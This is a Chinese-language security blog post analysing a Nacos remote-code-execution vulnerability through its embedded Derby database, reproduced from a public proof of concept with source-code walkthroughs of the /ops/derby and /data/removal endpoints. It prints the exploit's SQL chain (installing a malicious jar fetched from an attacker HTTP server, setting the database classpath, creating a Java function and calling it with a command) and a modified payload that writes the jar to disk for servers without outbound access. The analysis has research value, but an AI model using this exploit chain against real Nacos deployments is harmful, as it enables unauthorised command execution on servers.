Nacos 0day(derby+源码)分析

admin 2024年7月29日16:00:49评论9 views字数 5799阅读19分19秒阅读模式
Nacos 0day(derby+源码)分析
image-20240727202717275

本公众号技术文章仅供参考!
文章仅用于学习交流,请勿利用文章中的技术对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

Nacos 0day(derby+源码)分析

由于前段时间得了点小病,没赶上Nacos的热度,也好久没有做漏洞复现了,遇到个我感兴趣的所以就复现了下。

然后再说个事,就是之前提到我想分享一些实用的APP,但是因为这个号,我只想分享跟安全有关的,不想搞的乱七八糟的,所以每次都是发到小号上,然后这个转载的,所以如果大家想要获取地址,一定要看号是在哪个号回复,后台好多老哥都回复错了

文章首发奇安信攻防社区:https://forum.butian.net/article/483

本地部署,代码clone下来后,需要用mvn进行编译,这里最好设置镜像或代理,推荐设置代理

Nacos 0day(derby+源码)分析
image-20240718112949779

配置启动

Nacos 0day(derby+源码)分析
image-20240720192502714

查看自带derby数据库,ij.bat

-- 默认在C:Users【用户名】nacosdataderby-data
connect 'jdbc:derby:C:Users【用户名】nacosdataderby-data;create=true';

1. post_sql分析

根据已经存在的POC进行分析,可以发现代码首先发的一个请求包是,removal同时带上了参数,参数值就是我们变量post_sql的三行数据库代码

Nacos 0day(derby+源码)分析
image-20240718203025918

1.1 sqlj.install_jar分析

CALL sqlj.install_jar('{service}''NACOS.{id}'0)
-- 这里的service变量就是我们下载文件恶意jar包文件的地址,也就是http://127.0.0.1:5000/download,id为随机8个字母,所以可以等量替换如下
CALL sqlj.install_jar('http://127.0.0.1:5000/download''NACOS.{id}'0)

这里利用CALL指令执行了存储过程sqlj.install_jar,根据官方文档可知,这个存储过程的功能是将一个jar文件存储到数据库中

这个存储过程有三个参数:

  1. jar文件地址,本地或远程都可

  2. 在derby数据库中这个jar文件的名称,名称需要由模式(Schema)名称限定(可在SYSSCHEMAS表中确定)

  3. 不重要,通常为0

文档地址:https://db.apache.org/derby/docs/10.15/ref/

这里为了更直观我翻译了一下,所以可能有些内容不太通顺

Nacos 0day(derby+源码)分析
image-20240718204135405

在Derby数据库中,使用SQLJ.INSTALL_JAR来安装JAR文件时,并不是简单地将JAR文件存储在文件系统的特定位置,而是将其存储在数据库本身的系统表中。

SQLJ.INSTALL_JAR命令会将JAR文件的内容以二进制形式存储在Derby数据库的系统表SYS.SYSFILES中,同时在SYS.SYSALIASES表中创建对应的别名(alias)。

我们可以先查询一下SYS.SYSFILESSYS.SYSALIASES这两个表

FILES为空

Nacos 0day(derby+源码)分析
image-20240719115531319

SYSALIASES目前为81条

Nacos 0day(derby+源码)分析
image-20240719115538621

然后我这里改了下poc脚本,输出了一下post_sql变量

Nacos 0day(derby+源码)分析
image-20240719115640332

然后执行一次我们的脚本,注意这里的后缀

Nacos 0day(derby+源码)分析
image-20240719161210575

看一下我们的SYS.SYSFILES表,可以看到之前的后缀为SYSFILES表中的文件名FILENAME,用于后续定位该文件

Nacos 0day(derby+源码)分析
image-20240719145534944

1.2 SYSCS_SET_DATABASE_PROPERTY分析

这个存储过程功能就是设置derby数据库中属性的值,我们对应的代码如下

CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')

上边代码所执行的功能是,将derby.database.classpath的属性设置为我们刚刚上传的jar文件的标识

正常情况下Derby数据库中是支持java类的,Derby 默认加载的是其自身的类路径,这包括 Derby 内置的一些 Java 类和函数,并不包括sqlj.install_jar 安装的 JAR 文件中的内容,所以我们想要执行sqlj.install_jar 安装的 JAR就需要利用SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY 来指定 Derby 的类路径,使其能够正确加载这些类。

Nacos 0day(derby+源码)分析
image-20240720142245502

1.3 CREATE FUNCTION相关代码

代码解释如下

-- 创建一个名为S_EXAMPLE_{id}的自定义函数
CREATE FUNCTION S_EXAMPLE_{id}(
    PARAM VARCHAR(2000-- 定义函数的参数
RETURNS VARCHAR(2000-- 返回值
PARAMETER STYLE JAVA -- 使用 JAVA 样式的参数传递方式
NO SQL -- 函数不执行SQL查询或更新操作
LANGUAGE JAVA -- 指定函数执行语言为Java
EXTERNAL NAME 'test.poc.Example.exec'-- 指定函数的具体实现在 Java 类 test.poc.Example 的 exec 方法中

为了对照,这里将service准备的payload还原为jar文件

Nacos 0day(derby+源码)分析
image-20240720143530993

接着用jadx打开,这样理解就比较形象了

Nacos 0day(derby+源码)分析
image-20240720143653698

接着由于这行代码的执行,在我们的derby数据库的SYS.SYSALIASES表中,就已经存在这行数据了

Nacos 0day(derby+源码)分析
image-20240720143835188

其实这个时候我们执行如下代码, 就可以在derby数据库中调用这个存储过程了,达到调用指定java函数的功能了

-- 由于只是调用函数,在查询中不需要实际的数据表,这里可以用 SYSIBM.SYSDUMMY1特殊的系统表,用于执行一些无需实际数据表的查询操作
SELECT NACOS.S_EXAMPLE_YLGPGMAF('calc'FROM SYSIBM.SYSDUMMY1;
Nacos 0day(derby+源码)分析
image-20240720144658017

2. get_sql分析

SELECT *
FROM (
    -- 子查询:统计config_info表中的行数,并调用自定义函数S_EXAMPLE_{id}('{cmd}') 返回值作为别名为a
    SELECT 
        COUNT(*) AS b,
        S_EXAMPLE_{id}('{cmd}'AS a
    FROM 
        config_info
) tmp -- 子查询结束,命名为tmp
/*ROWS FETCH NEXT*/ -- 注释

可以看到这是我们poc脚本中的代码,这里就有个问题了,像我之前举例那样就能执行函数了,为什么要写的这么复杂,这个原因就得对应下面具体代码分析了

3. /ops/derby代码分析

由于脚本调用了两个接口,get_sql作为/ops/derby接口的参数调用,所以这里先分析下这个接口

代码如下,我们如果想利用漏洞,就需要让代码执行到下方红色框框起来的代码,但是前面有三个判断,所以盲猜上面的sql代码之所以写的那么复杂就与这三个if有关

Nacos 0day(derby+源码)分析
image-20240720151137726
  1. 首先第一个if,这个判断虽然跟sql没关系,但是也简单看一眼

//这里我们要令代码不进入判断里面就应该确保DatasourceConfiguration.isEmbeddedStorage()为真,然后因为前面有!取反,所以为假,所以就不会走到return了,而DatasourceConfiguration.isEmbeddedStorage()是判断数据库是否为嵌入式存储,我们用的是derby,所以这里肯定为真,所以这个判断不会影响我们
if (!DatasourceConfiguration.isEmbeddedStorage()) {
                return RestResultUtils.failed("The current storage mode is not Derby");
            }

我们可以调试看一眼,为True没有问题

Nacos 0day(derby+源码)分析
image-20240720152127035
  1. 第二个if

由于我们上面说的红色框框起来的代码是在这个if循环体内,所以需要令第二个if值为真,这里它判断我们的sql参数,是否为select开头(忽略大小写)

Nacos 0day(derby+源码)分析
image-20240720152430660
  1. 第三个if

//这里可以看到,它判断了sql中是否包含limitSign,也就是ROWS FETCH NEXT,如果不包含则给我的sql后面加了点垃圾
if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
                    sql += limit;
                }

接下来我们先看下这个垃圾是否影响我们运行,emmm,貌似不影响

Nacos 0day(derby+源码)分析
image-20240720153358517

那么继续简化我们的这个代码,看看用正常在数据库执行的那种方式可不可行,可以正常运行并得到返回值

Nacos 0day(derby+源码)分析
image-20240720153749877

4. /data/removal代码分析

这个代码其实从表项看没什么分析的,因为它就执行了我们一开始传递的三个sql语句,但是因为这个漏洞是有限制的,所以还是要看一下

上来就看到一个if,这个if跟上面那个跟上面接口的第一个if是一个

Nacos 0day(derby+源码)分析
image-20240720154114808

既然又出现了一次,那这里我就仔细看看吧,我们之前说它是判断当前运行的环境,数据库是否为嵌入式存储,也就是判断是否为derby而不是mysql什么的,具体怎么判断的呢?

跟进到这个isEmbeddedStorage函数,返回值是DatasourceConfiguration这个类的embeddedStorage属性

Nacos 0day(derby+源码)分析
image-20240720154436121

这个属性值在这里

Nacos 0day(derby+源码)分析
image-20240720154535974

ok,那就看看getStandaloneMode返回的是个什么,返回的isStandalone,

Nacos 0day(derby+源码)分析
image-20240720154741705

这里就不多做分析了,多放两张图就都明白了

Nacos 0day(derby+源码)分析
image-20240720154804050

启动模式

Nacos 0day(derby+源码)分析
image-20240720154850233

接着代码就没什么好分析的了,大概就是正常把我们sql值分割,然后执行的流程了,我就直接贴图了

Nacos 0day(derby+源码)分析
image-20240720155208925

执行sql

Nacos 0day(derby+源码)分析
image-20240720155452778

5. 不出网利用

我们整个利用过程其实需要服务器通过访问我们的攻击服务器的http服务,下载对应payload,所以这就延伸出来了一个问题,就是不出网利用,那么不出网利用能不能实现呢?思路就是sqlj.install_jar存储jar文件到数据库的时候,这个jar文件地址不是指向远程而是指向nacos服务器本地,既然如此就需要找到一个方法先将payload存到本地,而derby数据库恰好是支持的

SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE这个调用过程可以将数据存到本地

Nacos 0day(derby+源码)分析
image-20240720171055212

于是将post_sql改为如下代码

Nacos 0day(derby+源码)分析
image-20240720171312337
post_sql = """
        CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values cast(X''{jar_hex}'' as blob)', './{id}', ',', '"', 'UTF-8', './{id}.jar')n
        CALL SQLJ.INSTALL_JAR('./{id}.jar', 'NACOS.{id}', 0)n
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')n
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'n"""
.format(id=id,service=service,jar_hex=jar_hex);

这里第一行用到了SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE,其实第一个参数为我们的payload,第二个参数为生成的文本文件,最后一个参数就是生成的jar文件,所以执行后会生成两个文件,虽然我们只需要jar文件,但是第二个参数不能为空,本地实验设置为空会出错,包括文档里也写了,如果为空则会报错

Nacos 0day(derby+源码)分析
image-20240720192045229

那么我们最后肯定是会存到nacos服务器两个文件

Nacos 0day(derby+源码)分析
image-20240720192148825

ok,可以正常执行

Nacos 0day(derby+源码)分析
image-20240720192322096

原文始发于微信公众号(小惜渗透):Nacos 0day(derby+源码)分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月29日16:00:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Nacos 0day(derby+源码)分析https://cn-sec.com/archives/3010785.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息